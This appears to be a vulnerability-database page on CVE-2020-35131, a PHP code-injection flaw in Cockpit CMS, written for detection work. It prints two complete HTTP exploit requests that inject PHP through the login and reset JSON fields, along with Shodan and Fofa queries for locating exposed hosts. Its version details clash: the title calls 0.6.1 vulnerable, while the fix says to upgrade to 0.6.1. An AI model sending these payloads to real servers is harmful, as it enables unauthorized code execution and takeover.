🔙 목록으로 돌아가기

CVE-2020-35131: Cockpit CMS 0.6.1 - Remote Code Execution

TitleCockpit CMS 0.6.1 - Remote Code Execution
AuthorDhiyaneshDK
SeverityCritical
ImpactUnauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.
RemediationUpgrade to Cockpit CMS version 0.6.1 or later.
CVSS Score9.8
EPSS Score0.91149
CVE IDCVE-2020-35131
CWE IDCWE-94
Shodan Queryhttp.html:"cockpit"
Fofa Queryapp="Cockpit"
Tags cve cve2020 rce cockpit vkev vuln

🔍 Vulnerability Description

Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.

🌐 HTTP Request

POST /auth/check HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19
Connection: close
Content-Length: 57
Content-Type: application/json; charset=UTF-8
Origin: http://www.victim.com
Accept-Encoding: gzip

{"auth":{"user":"mZUZE'.phpinfo().'","password":"gytCc"}}
POST /auth/requestreset HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Content-Length: 29
Content-Type: application/json; charset=UTF-8
Origin: http://www.victim.com
Accept-Encoding: gzip

{"user":"mZUZE'.phpinfo().'"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35131.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35131.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A